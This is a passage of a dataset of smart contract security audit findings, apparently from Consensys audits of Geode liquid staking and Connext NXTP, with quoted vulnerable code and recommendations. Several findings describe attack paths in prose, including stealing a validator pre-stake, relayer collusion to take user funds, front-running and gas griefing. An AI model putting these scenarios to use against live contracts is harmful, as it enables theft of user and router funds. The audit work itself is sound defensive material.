pubkeys.length; ) { uint256 newPoolId = self.validators[pubkeys[i]].poolId; if (poolId != newPoolId) { uint256 sinceLastIdChange; unchecked { sinceLastIdChange = i - lastIdChange; DATASTORE.subUint(poolId, rks.secured, (DCL.DEPOSIT_AMOUNT * (sinceLastIdChange))); DATASTORE.subUint(poolId, proposedValKey, (sinceLastIdChange)); DATASTORE.addUint(poolId, activeValKey, (sinceLastIdChange)); lastIdChange = i; poolId = newPoolId; withdrawalCredential = DATASTORE.readBytes(poolId, rks.withdrawalCredential); DCL.depositValidator( pubkeys[i], withdrawalCredential, self.validators[pubkeys[i]].signature31, (DCL.DEPOSIT_AMOUNT - DCL.DEPOSIT_AMOUNT_PRESTAKE) ); self.validators[pubkeys[i]].state = VALIDATOR_STATE.ACTIVE; unchecked { i += 1; uint256 sinceLastIdChange; unchecked { sinceLastIdChange = pubkeys.length - lastIdChange; if (sinceLastIdChange > 0) { DATASTORE.subUint(poolId, rks.secured, DCL.DEPOSIT_AMOUNT * (sinceLastIdChange)); DATASTORE.subUint(poolId, proposedValKey, (sinceLastIdChange)); DATASTORE.addUint(poolId, activeValKey, (sinceLastIdChange)); _increaseWalletBalance(DATASTORE, operatorId, DCL.DEPOSIT_AMOUNT_PRESTAKE * pubkeys.length); emit Stake(pubkeys); This issue can later be escalated to a point where funds can be stolen. Consider the following case: The attacker creates 10 validators directly through the ETH2 deposit contract using himself as the withdrawal address. Attacker node operator proposes to add 10 validators and adds the 10ETH as pre-stake deposit. Since validators already exist withdrawal credentials will remain those of the Attacker. As a result of those actions, we have inflated the number of proposed validators the attacker has inside the Geode system. Attacker then takes the validator keys proposed by someone else and stakes them. Since there is no check described above that is allowed. His proposed validators count will also decrease without a revert due to steps above. As a result of that step, attacker will receive the pre-stake of the operator that actually proposed those validators. The attacker will immediately proceed to call decreaseWallet() to withdraw the funds. The attacker will then withdraw the pre-stake he deposited in the initial validators with faulty withdrawal credential. This way an attacker could profit 10ETH. This can be prevented by making sure that validator s operatorId is checked on the stake() function call. ", "labels": ["Consensys", "Major"], "html_url": "https://consensys.io/diligence/audits/2023/05/geode-liquid-staking/"}, {"title": "4.2 Cannot Blame Operator for Proposed Validator ", "body": " In the current code, anyone can blame an operator who does not withdraw in time: contracts/Portal/modules/StakeModule/libs/StakeModuleLib.sol:L931-L946 function blameOperator( PooledStaking storage self, DSML.IsolatedStorage storage DATASTORE, bytes calldata pk ) external { require( self.validators[pk].state == VALIDATOR_STATE.ACTIVE, \"SML:validator is never activated\" ); require( block.timestamp > self.validators[pk].createdAt + self.validators[pk].period, \"SML:validator is active\" ); _imprison(DATASTORE, self.validators[pk].operatorId, pk); There is one more scenario where the operator should be blamed. When a validator is in the PROPOSED state, only the operator can call the stake function to actually stake the rest of the funds. Before that, the funds of the pool will be locked under the rks.secured variable. So the malicious operator can lock up 31 ETH of the pool indefinitely by locking up only 1 ETH of the attacker. There is currently no way to release these 31 ETH. We recommend introducing a mechanism that allows one to blame the operator for not staking for a long time after it was approved. ", "labels": ["Consensys", "Medium"], "html_url": "https://consensys.io/diligence/audits/2023/05/geode-liquid-staking/"}, {"title": "4.3 Validators Array Length Has to Be Updated When the Validator Is Alienated. ", "body": " In GeodeFi when the node operator creates a validator with incorrect withdrawal credentials or signatures the Oracle has the ability to alienate this validator. In the process of alienation, the validator status is updated. contracts/Portal/modules/StakeModule/libs/OracleExtensionLib.sol:L111-L136 function _alienateValidator( SML.PooledStaking storage STAKE, DSML.IsolatedStorage storage DATASTORE, uint256 verificationIndex, bytes calldata _pk ) internal { require(STAKE.validators[_pk].index <= verificationIndex, \"OEL:unexpected index\"); require( STAKE.validators[_pk].state == VALIDATOR_STATE.PROPOSED, \"OEL:NOT all pubkeys are pending\" ); uint256 operatorId = STAKE.validators[_pk].operatorId; SML._imprison(DATASTORE, operatorId, _pk); uint256 poolId = STAKE.validators[_pk].poolId; DATASTORE.subUint(poolId, rks.secured, DCL.DEPOSIT_AMOUNT); DATASTORE.addUint(poolId, rks.surplus, DCL.DEPOSIT_AMOUNT); DATASTORE.subUint(poolId, DSML.getKey(operatorId, rks.proposedValidators), 1); DATASTORE.addUint(poolId, DSML.getKey(operatorId, rks.alienValidators), 1); STAKE.validators[_pk].state = VALIDATOR_STATE.ALIENATED; emit Alienated(_pk); An additional thing that has to be done during the alienation process is that the validator s count should be decreased in order for the monopoly threshold to be calculated correctly. That is because the length of the validators array is used twice in the OpeartorAllowance function: contracts/Portal/modules/StakeModule/libs/StakeModuleLib.sol:L975 uint256 numOperatorValidators = DATASTORE.readUint(operatorId, rks.validators); contracts/Portal/modules/StakeModule/libs/StakeModuleLib.sol:L988 uint256 numPoolValidators = DATASTORE.readUint(poolId, rks.validators); Without the update of the array length, the monopoly threshold as well as the time when the fallback operator will be able to participate is going to be computed incorrectly. It could be beneficial to not refer to rks.validators in the operator allowance function and instead use the rks.proposedValidators + rks.alienatedValidators + rks.activeValidators. This way allowance function can always rely on the most up to date data. ", "labels": ["Consensys", "Medium"], "html_url": "https://consensys.io/diligence/audits/2023/05/geode-liquid-staking/"}, {"title": "4.4 A Potential Controller Update Issue. ", "body": " We identified a potential issue in the code that is out of our current scope. In the GeodeModuleLib, there is a function that allows a controller of any ID to update the controller address: contracts/Portal/modules/GeodeModule/libs/GeodeModuleLib.sol:L299-L309 function changeIdCONTROLLER( DSML.IsolatedStorage storage DATASTORE, uint256 id, address newCONTROLLER ) external onlyController(DATASTORE, id) { require(newCONTROLLER != address(0), \"GML:CONTROLLER can not be zero\"); DATASTORE.writeAddress(id, rks.CONTROLLER, newCONTROLLER); emit ControllerChanged(id, newCONTROLLER); It s becoming tricky with the upgradability mechanism. The current version of any package is stored in the following format: DATASTORE.readAddress(versionId, rks. CONTROLLER). So the address of the current implementation of any package is stored as rks.CONTROLLER. That means if someone can hack the implementation address and make a transaction on its behalf to change the controller, this attacker can change the current implementation to a malicious one. While this issue may not be exploitable now, many new packages are still to be implemented. So you need to ensure that nobody can get any control over the implementation contract. ", "labels": ["Consensys", "Minor"], "html_url": "https://consensys.io/diligence/audits/2023/05/geode-liquid-staking/"}, {"title": "4.5 The Price Change Limit Could Prevent the Setting of the Correct Price. ", "body": " In the share price update logic of OracleExtensionLib, there is a function called ", "labels": ["Consensys", "Minor"], "html_url": "https://consensys.io/diligence/audits/2023/05/geode-liquid-staking/"}, {"title": "4.6 Potential for a Cross-Site-Scripting When Creating a Pool. ", "body": " When creating a new staking pool, the creator has the ability to name it. While it does not present many issues on the chain, if this name is ever displayed on the UI it has to be handled carefully. An attacker could include a malicious script in the name and that could potentially be executed in the victim s browser. contracts/Portal/modules/StakeModule/libs/StakeModuleLib.sol:L358 DATASTORE.writeBytes(poolId, rks.NAME, name); We suggest that proper escaping is used when displaying the names of the pool on the UI. We do not recommend adding string validation on the chain. ", "labels": ["Consensys", "Minor"], "html_url": "https://consensys.io/diligence/audits/2023/05/geode-liquid-staking/"}, {"title": "4.1 TransactionManager - User might steal router s locked funds ", "body": " Resolution This issue has been fixed. Description Recommendation Consider using a data structure different than issuedShares for storing user deposits. This way, withdrawals by users will only be allowed when calling TransactionManager.cancel. ", "labels": ["Consensys", "Critical", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2021/07/connext-nxtp-noncustodial-xchain-transfer-protocol/"}, {"title": "4.2 TransactionManager - Receiver-side check also on sending side Unverified Fix", "body": " Resolution The Connext team claims to have fixed this in commit 4adbfd52703441ee5de655130fc2e0252eae4661. We have not reviewed this commit or, generally, the codebase at this point. Description The functions prepare, cancel, and fulfill in the TransactionManager all have a common part that is executed on both the sending and the receiving chain and side-specific parts that are only executed either on the sending or on the receiving side. The following lines occur in fulfill s common part, but this should only be checked on the receiving chain. In fact, on the sending chain, we might even compare amounts of different assets. code2/packages/contracts/contracts/TransactionManager.sol:L476-L478 // Sanity check: fee <= amount. Allow `=` in case of only wanting to execute // 0-value crosschain tx, so only providing the fee amount require(relayerFee <= txData.amount, \"#F:023\"); This could prevent a legitimate fulfill on the sending chain, causing a loss of funds for the router. Recommendation Move these lines to the receiving-side part. Remark The callData supplied to fulfill is not used at all on the sending chain, but the check whether its hash matches txData.callDataHash happens in the common part. code2/packages/contracts/contracts/TransactionManager.sol:L480-L481 // Check provided callData matches stored hash require(keccak256(callData) == txData.callDataHash, \"#F:024\"); In principle, this check could also be moved to the receiving-chain part, allowing the router to save some gas by calling sending-side fulfill with empty callData and skip the check. Note, however, that the TransactionFulfilled event will then also emit the wrong callData on the sending chain, so the off-chain code has to be able to deal with that if you want to employ this optimization. ", "labels": ["Consensys", "Major"], "html_url": "https://consensys.io/diligence/audits/2021/07/connext-nxtp-noncustodial-xchain-transfer-protocol/"}, {"title": "4.3 TransactionManager - Flawed shares arithmetic ", "body": " Resolution Comment from Connext: We removed the shares logic completely, and are instead only focusing on standard tokens (i.e. rebasing, inflationary, and deflationary tokens are not supported directly). If users want to transfer non-standard tokens, they do so at their own risk. Description To support a wide variety of tokens, the TransactionManager uses a per-asset shares system to represent fractional ownership of the contract s balance in a token. There are several flaws in the shares-related arithmetic, such as: addLiquidity and sender-side prepare convert asset amounts 1:1 to shares, instead of taking the current value of a share into account. A 1:1 conversion is only appropriate if the number of shares is 0, for example, for the first deposit. The WadRayMath library is not used correctly (and maybe not the ideal tool for the task in the first place): rayMul and rayDiv each operate on two rays (decimal numbers with 27 digits) but are not used according to that specification in getAmountFromIssuedShares and getIssuedSharesFromAmount. The scaling errors cancel each other out, though. The WadRayMath library rounds to the nearest representable number. That might not be desirable for NXTP; for example, converting a token amount to shares and back to tokens might lead to a higher amount than we started with. The WadRayMath library reverts on overflows, which might not be acceptable behavior. For instance, a receiver-side fulfill might fail due to an overflow in the conversion from shares to a token amount. The corresponding fulfill on the sending chain might very well succeed, though, and it is possible that, at a later point, the receiver-side transaction can be canceled. (Note that canceling does not involve actually converting shares into a token amount, but the calculation is done anyway for the event.) The amount emitted in the TransactionPrepared event on the receiving chain can, depending on the granularity of the shares, differ considerably from what a user can expect to receive when the shares are converted back into tokens. The reason for this is the double conversion from the initial token amount \u2014 which is emitted \u2014 to shares and, later, back to tokens. Special cases might have to be taken into account. As a more subtle example, converting a non-zero token amount to shares is not possible (or at least not with the usual semantics) if the contract s balance is zero, but the number of already existing shares is strictly greater than zero, as any number of shares will give you back less than the original amount. Whether this situation is possible depends on the token contract. Recommendation The shares logic was added late to the contract and is still in a pretty rough shape. While providing a full-fledged solution is beyond the scope of this review, we hope that the points raised above provide pointers and guidelines to inform a major overhaul. ", "labels": ["Consensys", "Major", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2021/07/connext-nxtp-noncustodial-xchain-transfer-protocol/"}, {"title": "4.4 Router - handleMetaTxRequest - gas griefing / race conditions / missing validations / free meta transactions ", "body": " Description There s a comment in handleMetaTxRequest that asks whether data needs to be validated before interacting with the contract and the answer is yes, always, or else this opens up a gas griefing vector on the router side. For example, someone might flood broadcast masses of metaTx requests (*.*.metatx) and all online routers will race to call TransactionManager.fulfill(). Even if only one transaction should be able to successfully go through all the others will loose on gas (until up to the first require failing). Given that there is no rate limiting and it is a broadcast that is very cheap to perform on the client-side (I can just spawn a lot of nodes spamming messages) this can be very severe, keeping the router busy sending transactions that are deemed to fail until the routers balance falls below the min gas limit configured. Even if the router would check the contracts current state first (performing read-only calls that can be done offline) to check if the transaction has a chance to succeed, it will still compete in a race for the current block (mempool). Examples code/packages/router/src/handler.ts:L459-L477 const fulfillData: MetaTxFulfillPayload = data.data; // Validate that metatx request matches with known data about fulfill // Is this needed? Can we just submit to chain without validating? // Technically this is ok, but perhaps we want to validate only for our own // logging purposes. // Would also be bad if router had no gas here // Next, prepare the tx object // - Get chainId from data // - Get fulfill fee from data and validate it covers gas // - etc. // Send to txService // Update metrics // TODO: make sure fee is something we want to accept this.logger.info({ method, methodId, requestContext, chainId, data }, \"Submitting tx\"); const res = await this.txManager .fulfill( chainId, Recommendation For state-changing transactions that actually cost gas there is no way around implementing strict validation whenever possible and avoid performing the transaction in case validation fails. Contract state should always be validated before issuing new online transactions but this might not fix the problem that routers still compete for their transaction to be included in the next block (mempool not monitored). The question therefore is, whether it would be better to change the metaTX flow to have a router confirm that they will send the tx via the messaging service first so others know they do not even have to try to send it. However, even this scenario may allow to DoS the system by maliciously responding with such a method. In general, there re a lot of ways to craft a message that forces the router to issue an on-chain transaction that may fail with no consequences for the sender of the metaTx message. Additionally, the relayerFee is currently unchecked which may lead to the router loosing funds because they effectively accept zero-fee relays. As noted in issue 4.6, the missing return after detecting that the metatx is destined for a TransactionManager that is not supported allows for explicit gas griefing attacks (deploy a fake TransactionManager.fulfill that mines all the gas for a beneficiary). The contract methods should additionally validate that the sender balance can cover for the gas required to send the transaction. ", "labels": ["Consensys", "Major"], "html_url": "https://consensys.io/diligence/audits/2021/07/connext-nxtp-noncustodial-xchain-transfer-protocol/"}, {"title": "4.5 Router - subgraphLoop may process transactions the router was not configured for (code fragility) ", "body": " Description subgraphLoop gets all sending transactions for the router, chain, status triplet. code/packages/router/src/subgraph.ts:L155-L159 allSenderPrepared = await sdk.GetSenderTransactions({ routerId: this.routerAddress.toLowerCase(), sendingChainId: chainId, status: TransactionStatus.Prepared, }); and then sorts the results by receiving chain id. Note that this keeps track of chainID s the router was not configured for. code/packages/router/src/subgraph.ts:L168-L176 // create list of txIds for each receiving chain const receivingChains: Record = {}; allSenderPrepared.router?.transactions.forEach(({ transactionId, receivingChainId }) => { if (receivingChains[receivingChainId]) { receivingChains[receivingChainId].push(transactionId); } else { receivingChains[receivingChainId] = [transactionId]; }); In a next step, transactions are resolved from the various chains. This filters out chainID s the router was not configured for (and just returns an empty array), however, the GetTransactions query assumes that transactionID s are unique across the subgraph which might not be true! code/packages/router/src/subgraph.ts:L179-L193 let correspondingReceiverTxs: any[]; try { const queries = await Promise.all( Object.entries(receivingChains).map(async ([cId, txIds]) => { const _sdk = this.sdks[Number(cId)]; if (!_sdk) { this.logger.error({ chainId: cId, method, methodId }, \"No config for chain, this should not happen\"); return []; const query = await _sdk.GetTransactions({ transactionIds: txIds.map((t) => t.toLowerCase()) }); return query.transactions; }), ); correspondingReceiverTxs = queries.flat(); } catch (err) { In the last step, all chainID s (even the one s the router was not configured for) are iterated again (which might be unnecessary). TransactionID s are loosely matched from the previously flattened results from all the various chains. Since transactionID s don t necessarily need to be unique across chains or within the chain, it is likely that the subsequent matching of transactionID s (correspondingReceiverTxs.find) returns more than 1 entry. However, find() just returns the first item and covers up the fact that there might be multiple matches. Also, since the code returned an empty array for chains it was not configured for, the find will return undef satisfying the !corresponding branch and fire an SenderTransactionPrepared triggering the handler to perform an on-chain action that will most definitely fail at some point. Recommendation The code in this module is generally very fragile. It is based on assumptions that can likely be exploited by a third party re-using transactionID s (or other values). It is highly recommended to rework the code making it more resilient to potential corner cases. Filter receivingChains for chainID s that are not supported by the router Avoid having to integrating the allSenderPrepared array twice and use a filtered list instead Change the very broad query in _sdk.GetTransactions() that assumes transactionID s are unique across all chains to a specific query that selects transactions specific to the chain and this router. The more specific the better! When matching the transactions also match the source/receiver chains instead of only matching the transactionID. Additionally, check if more than one entry matches the condition instead of silently taking the first result (this is what array.find() does) Also see issue 5.2 ", "labels": ["Consensys", "Major"], "html_url": "https://consensys.io/diligence/audits/2021/07/connext-nxtp-noncustodial-xchain-transfer-protocol/"}, {"title": "4.6 Router - handler reports an error condition but continues execution instead of aborting it ", "body": " Description There are some code paths that detect and log an error but then continue the execution flow instead of returning the error condition to the caller. This may allow for a variety of griefing vectors (e.g. gas griefing). Examples reports an error because the received address does not match our configured transaction manager, but then proceeds. This means the router would accept a transaction manager it was not configured for. code/packages/router/src/handler.ts:L448-L458 if (utils.getAddress(data.to) !== utils.getAddress(chainConfig.transactionManagerAddress)) { const err = new HandlerError(HandlerError.reasons.ConfigError, { requestContext, calling: \"chainConfig.transactionManagerAddress\", methodId, method, configError: `Provided transactionManagerAddress does not map to our configured transactionManagerAddress`, }); this.logger.error({ method, methodId, requestContext, err: err.toJson() }, \"Error in config\"); If chainConfig is undef this should return or else it will bail later code/packages/router/src/handler.ts:L436-L445 if (!chainConfig) { const err = new HandlerError(HandlerError.reasons.ConfigError, { requestContext, calling: \"getConfig\", methodId, method, configError: `No chainConfig for ${chainId}`, }); this.logger.error({ method, methodId, requestContext, err: err.toJson() }, \"Error in config\"); if data is not fulfill this silently returns, while it should probably raise an error instead (unexpected message) code/packages/router/src/handler.ts:L447-L447 if (data.type === \"Fulfill\") { Recommendation Implement strict validation of untrusted data. Be explicit and raise error conditions on unexpected messages (e.g. type is not fulfill) instead of silently skipping the message. Add the missing returns after reporting an error instead of continuing the execution flow on errors. ", "labels": ["Consensys", "Major"], "html_url": "https://consensys.io/diligence/audits/2021/07/connext-nxtp-noncustodial-xchain-transfer-protocol/"}, {"title": "4.7 Router - spawns unauthenticated admin API endpoint listening on all interfaces ", "body": " Description unauthenticated listening on allips pot. allows any local or remote unpriv user with access to the endpoint to steal the routers liquidity /remove-liquidity -> req.body.recipientAddress Examples code/packages/router/src/index.ts:L123-L130 server.listen(8080, \"0.0.0.0\", (err, address) => { if (err) { console.error(err); process.exit(1); console.log(`Server listening at ${address}`); }); Recommendation require authentication should only bind to localhost by default ", "labels": ["Consensys", "Major"], "html_url": "https://consensys.io/diligence/audits/2021/07/connext-nxtp-noncustodial-xchain-transfer-protocol/"}, {"title": "4.8 TODO comments should be resolved ", "body": " Description As part of the process of bringing the application to production readiness, dev comments (especially TODOs) should be resolved. In many cases, these comments indicate a missing functionality that should be implemented, or some missing necessary validation checks. ", "labels": ["Consensys", "Medium"], "html_url": "https://consensys.io/diligence/audits/2021/07/connext-nxtp-noncustodial-xchain-transfer-protocol/"}, {"title": "4.9 TransactionManager - Missing nonReentrant modifier on removeLiquidity ", "body": " Resolution This issue has been fixed. Description The removeLiquidity function does not have a nonReentrant modifier. code/packages/contracts/contracts/TransactionManager.sol:L274-L329 /** @notice This is used by any router to decrease their available liquidity for a given asset. @param shares The amount of liquidity to remove for the router in shares @param assetId The address (or `address(0)` if native asset) of the asset you're removing liquidity for @param recipient The address that will receive the liquidity being removed / function removeLiquidity( uint256 shares, address assetId, address payable recipient ) external override { // Sanity check: recipient is sensible require(recipient != address(0), \"#RL:007\"); // Sanity check: nonzero shares require(shares > 0, \"#RL:035\"); // Get stored router shares uint256 routerShares = issuedShares[msg.sender][assetId]; // Get stored outstanding shares uint256 outstanding = outstandingShares[assetId]; // Sanity check: owns enough shares require(routerShares >= shares, \"#RL:018\"); // Convert shares to amount uint256 amount = getAmountFromIssuedShares( shares, outstanding, Asset.getOwnBalance(assetId) ); // Update router issued shares // NOTE: unchecked due to require above unchecked { issuedShares[msg.sender][assetId] = routerShares - shares; // Update the total shares for asset outstandingShares[assetId] = outstanding - shares; // Transfer from contract to specified recipient Asset.transferAsset(assetId, recipient, amount); // Emit event emit LiquidityRemoved( msg.sender, assetId, shares, amount, recipient ); Assuming we re dealing with a token contract that allows execution of third-party-supplied code, that means it is possible to leave the TransactionManager contract in one of the functions that call into the token contract and then reenter via removeLiquidity. Alternatively, we can leave the contract in removeLiquidity and reenter through an arbitrary external function, even if it has a nonReentrant modifier. Example Recommendation While tokens that behave as described in the example might be rare or not exist at all, caution is advised when integrating with unknown tokens or calling untrusted code in general. We strongly recommend adding a nonReentrant modifier to removeLiquidity. ", "labels": ["Consensys", "Medium", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2021/07/connext-nxtp-noncustodial-xchain-transfer-protocol/"}, {"title": "4.10 TransactionManager - Relayer may use user s cancel after expiry signature to steal user s funds by colluding with a router ", "body": " Resolution This has been acknowledged by the Connext team. As discussed below in the Recommendation , it is not a flaw in the contracts Description Users that are willing to have a lower trust dependency on a relayer should have the ability to opt-in only for the service that allows the relayer to withdraw back users funds from the sending chain after expiry. However, in practice, a user is forced to opt-in for the service that refunds the router before the expiry, since the same signature is used for both services (lines 795,817 use the same signature). Let s consider the case of a user willing to call fulfill on his own, but to use the relayer only to withdraw back his funds from the sending chain after expiry. In this case, the relayer can collude with the router and use the user s cancel signature (meant for withdrawing his only after expiry) as a front-running transaction for a user call to fulfill. This way the router will be able to withdraw both his funds and the user s funds since the user s fulfill signature is now public data residing in the mem-pool. Examples code/packages/contracts/contracts/TransactionManager.sol:L795-L817 require(msg.sender == txData.user || recoverSignature(txData.transactionId, relayerFee, \"cancel\", signature) == txData.user, \"#C:022\"); Asset.transferAsset(txData.sendingAssetId, payable(msg.sender), relayerFee); // Get the amount to refund the user uint256 toRefund; unchecked { toRefund = amount - relayerFee; // Return locked funds to sending chain fallback if (toRefund > 0) { Asset.transferAsset(txData.sendingAssetId, payable(txData.sendingChainFallback), toRefund); } else { // Receiver side, router liquidity is returned if (txData.expiry >= block.timestamp) { // Timeout has not expired and tx may only be cancelled by user // Validate signature require(msg.sender == txData.user || recoverSignature(txData.transactionId, relayerFee, \"cancel\", signature) == txData.user, \"#C:022\"); Recommendation The crucial point here is that the user must never sign a cancel that could be used on the receiving chain while fulfillment on the sending chain is still a possibility. Or, to put it differently: A user may only sign a cancel that is valid on the receiving chain after sending-chain expiry or if they never have and won t ever sign a fulfill (or at least won t sign until sending-chain expiry \u2014 but it is pointless to sign a fulfill after that, so never is a reasonable simplification). Or, finally, a more symmetric perspective on this requirement: If a user has signed fulfill , they must not sign a receiving-chain-valid cancel until sending-chain expiry, and if they have signed a receiving-chain-valid cancel , they must not sign a fulfill (until sending-chain expiry). In this sense, cancel signatures that are valid on the receiving chain are dangerous, while sending-side cancellations are not. So the principle stated in the previous paragraph might be easier to follow with different signatures for sending- and receiving-chain cancellations. ", "labels": ["Consensys", "Medium", "Acknowledged"], "html_url": "https://consensys.io/diligence/audits/2021/07/connext-nxtp-noncustodial-xchain-transfer-protocol/"}, {"title": "4.11 Router - handleSenderPrepare - missing validation, unchecked bidExpiry, unchecked expiry, unchecked chainids/swaps, race conidtions ", "body": " Description This finding highlights a collection of issues with the handleSenderPrepare method. The code and coding style appears fragile. Validation should be strictly enforced and protective measures against potential race conditions should be implemented. The following list highlights individual findings that contribute risk and therefore broaden the attack surface of this method: unchecked bidExpiry might allow using bids even after expiration. code/packages/router/src/handler.ts:L612-L626 .andThen(() => { // TODO: anything else? seems unnecessary to validate everything if (!BigNumber.from(bid.amount).eq(amount) || bid.transactionId !== txData.transactionId) { return err( new HandlerError(HandlerError.reasons.PrepareValidationError, { method, methodId, calling: \"\", requestContext, prepareError: \"Bid params not equal to tx data\", }), ); return ok(undefined); }); unchecked txdata.expiry might lead to router preparing for an already expired prepare. However, this is rather unlikely easily exploitable as the data source is a subgraph. a bid might not be fulfillable anymore due to changes to the router (e.g. removing a chainconfig or assets) but the router would still attempt it. Make sure to always verify chainid/assets/the configured system parameters. potential race condition. make sure to lock the txID in the beginning. code/packages/router/src/handler.ts:L663-L669 // encode the data for contract call // Send to txService this.receiverPreparing.set(txData.transactionId, true); this.logger.info( { method, methodId, requestContext, transactionId: txData.transactionId }, \"Sending receiver prepare tx\", ); Note that transactionID s as they are used in the system must be unique across chains. ", "labels": ["Consensys", "Medium"], "html_url": "https://consensys.io/diligence/audits/2021/07/connext-nxtp-noncustodial-xchain-transfer-protocol/"}, {"title": "4.12 Router - handleNewAuction - fragile code ", "body": " Description This finding highlights a collection of issues with the handleNewAuction. The code and coding style appears fragile. Validation should be strictly enforced, debugging code should be removed or disabled in production and protective measures should be taken from abusive clients. The following list highlights individual findings that contribute risk and therefore broaden the attack surface of this method: router bids on zero-amount requests (this will fail later when calling the contract, thus a potential gas griefing attack vector) code/packages/router/src/handler.ts:L197-L201 // validate that assets/chains are supported and there is enough liquidity // and gas on both sender and receiver side. // TODO: will need to track this offchain const amountReceived = mutateAmount(amount); duplicate constant var assignment (subfunction const shadowing and unchecked initial config!) code/packages/router/src/handler.ts:L202-L204 const config = getConfig(); const sendingConfig = config.chainConfig[sendingChainId]; const receivingConfig = config.chainConfig[receivingChainId]; code/packages/router/src/handler.ts:L231-L240 // validate config const config = getConfig(); const sendingConfig = config.chainConfig[sendingChainId]; const receivingConfig = config.chainConfig[receivingChainId]; if ( !sendingConfig.providers || sendingConfig.providers.length === 0 || !receivingConfig.providers || receivingConfig.providers.length === 0 ) { actual estimated gas required to fuel transaction is never checked. current balance might be outdated, especially in race condition scenarios. code/packages/router/src/handler.ts:L315-L318 .andThen((balances) => { const [senderBalance, receiverBalance] = balances as BigNumber[]; if (senderBalance.lt(sendingConfig.minGas) || receiverBalance.lt(receivingConfig.minGas)) { return errAsync( remove debug code from production build (dry-run) code/packages/router/src/handler.ts:L194-L194 dryRun, code/packages/router/src/handler.ts:L385-L385 this.messagingService.publishAuctionResponse(inbox, { bid, bidSignature: dryRun ? undefined : bidSignature }), signer address might be different for different chains code/packages/router/src/handler.ts:L290-L312 return combine([ ResultAsync.fromPromise( this.txService.getBalance(sendingChainId, this.signer.address), (err) => new HandlerError(HandlerError.reasons.TxServiceError, { calling: \"txService.getBalance => sending\", method, methodId, requestContext, txServiceError: jsonifyError(err as NxtpError), }), ), ResultAsync.fromPromise( this.txService.getBalance(receivingChainId, this.signer.address), (err) => new HandlerError(HandlerError.reasons.TxServiceError, { calling: \"txService.getBalance => receiving\", method, methodId, requestContext, txServiceError: jsonifyError(err as NxtpError), }), ), no rate limiting. potential DoS vector when someone floods the node with auction requests (significant work to be done, handler is async, will trigger a reply message). user might force the router to sign the same message multiple times. missing validation of bid parameters (expiriy within valid range, \u2026) ", "labels": ["Consensys", "Medium"], "html_url": "https://consensys.io/diligence/audits/2021/07/connext-nxtp-noncustodial-xchain-transfer-protocol/"}, {"title": "4.13 Router - Cancel is not implemented ", "body": " Description Canceling of failed/expired swaps does not seem to be implemented in the router. This may allow a user to trick the router into preparing all its funds which will not automatically be reclaimed after expiration (router DoS). Examples cancelExpired is never called code/packages/sdk/src/sdk.ts:L873-L885 // TODO: this just cancels a transaction, it is misnamed, has nothing to do with expiries public async cancelExpired(cancelParams: CancelParams, chainId: number): Promise { const method = this.cancelExpired.name; const methodId = getRandomBytes32(); this.logger.info({ method, methodId, cancelParams, chainId }, \"Method started\"); const cancelRes = await this.transactionManager.cancel(chainId, cancelParams); if (cancelRes.isOk()) { this.logger.info({ method, methodId }, \"Method complete\"); return cancelRes.value; } else { throw cancelRes.error; disabled code code/packages/router/src/handler.ts:L719-L733 \"Do not cancel ATM, figure out why we are in this case first\", ); // const cancelRes = await this.txManager.cancel(txData.sendingChainId, { // txData, // signature: \"0x\", // relayerFee: \"0\", // }); // if (cancelRes.isOk()) { // this.logger.warn( // { method, methodId, transactionHash: cancelRes.value.transactionHash }, // \"Cancelled transaction\", // ); // } else { // this.logger.error({ method, methodId }, \"Could not cancel transaction after error!\"); // } Recommendation Implement the cancel flow. ", "labels": ["Consensys", "Medium"], "html_url": "https://consensys.io/diligence/audits/2021/07/connext-nxtp-noncustodial-xchain-transfer-protocol/"}, {"title": "4.14 TransactionManager.prepare - Possible griefing/denial of service by front-running Unverified Fix", "body": " Resolution Comment from Connext: We see this as a highly unlikely attack vector and have chosen not to mitigate it, but it is possible. Users can always and easily generate a new key prepare from a new account, and performing this attack will always cost gas and some dust amount. Further, adding in the suggested require(msg.sender == invariantData.user) will lock out many contract-based use cases and requiring an additional signature/user interaction (auth, approve, prepare, fulfill) is not desirable. The Connext team claims to have implemented this solution in commit 6811bb2681f44f34ce28906cb842db49fb73d797. We have not reviewed this commit or, generally, the codebase at this point. Description A call to TransactionManager.prepare might be front-run with a transaction using the same invariantData but with a different amount and/or expiry values. By choosing a tiny amount of assets, the attacker may prevent the user from locking his original desired amount. The attacker can repeat this process for any new transactionId presented by the user, thus effectively denying the service for him. Recommendation Consider adding a require(msg.sender == invariantData.user) restriction to TransactionManager.prepare. ", "labels": ["Consensys", "Medium"], "html_url": "https://consensys.io/diligence/audits/2021/07/connext-nxtp-noncustodial-xchain-transfer-protocol/"}, {"title": "4.15 Router - Provide and enforce safe defaults (config) ", "body": " Description Chain confirmations default to 1 which is not safe. In case of a re-org the router might (temporarily) get out of sync with the chain and perform actions it should not perform. This may put funds at risk. Examples the schema requires an unsafe minimum of 1 confirmation code/packages/router/src/config.ts:L33-L36 export const TChainConfig = Type.Object({ providers: Type.Array(Type.String()), confirmations: Type.Number({ minimum: 1 }), subgraph: Type.String(), the default configuration uses 1 confirmation code/packages/router/config.json.example:L1-L17 \"adminToken\": \"blahblah\", \"chainConfig\": { \"4\": { \"providers\": [\"https://rinkeby.infura.io/v3/\"], \"confirmations\": 1, \"subgraph\": \"https://api.thegraph.com/subgraphs/name/connext/nxtp-rinkeby\" }, \"5\": { \"providers\": [\"https://goerli.infura.io/v3/\"], \"confirmations\": 1, \"subgraph\": \"https://api.thegraph.com/subgraphs/name/connext/nxtp-goerli\" }, \"logLevel\": \"info\", \"mnemonic\": \"candy maple cake sugar pudding cream honey rich smooth crumble sweet treat\" Recommendation Give guidance, provide and enforce safe defaults. ", "labels": ["Consensys", "Medium"], "html_url": "https://consensys.io/diligence/audits/2021/07/connext-nxtp-noncustodial-xchain-transfer-protocol/"}, {"title": "4.16 ProposedOwnable - two-step ownership transfer should be confirmed by the new owner ", "body": " Resolution All recommendations given below have been implemented. In addition to that, the privilege to manage assets and the privilege to manage routers can now be renounced separately. Description In order to avoid losing control of the contract, the two-step ownership transfer should be confirmed by the new owner s address instead of the current owner. Examples acceptProposedOwner is restricted to onlyOwner while ownership should be accepted by the newOwner code/packages/contracts/contracts/ProposedOwnable.sol:L89-L96 /** @notice Transfers ownership of the contract to a new account (`newOwner`). Can only be called by the current owner. / function acceptProposedOwner() public virtual onlyOwner { require((block.timestamp - _proposedTimestamp) > _delay, \"#APO:030\"); _setOwner(_proposed); move renounced() to 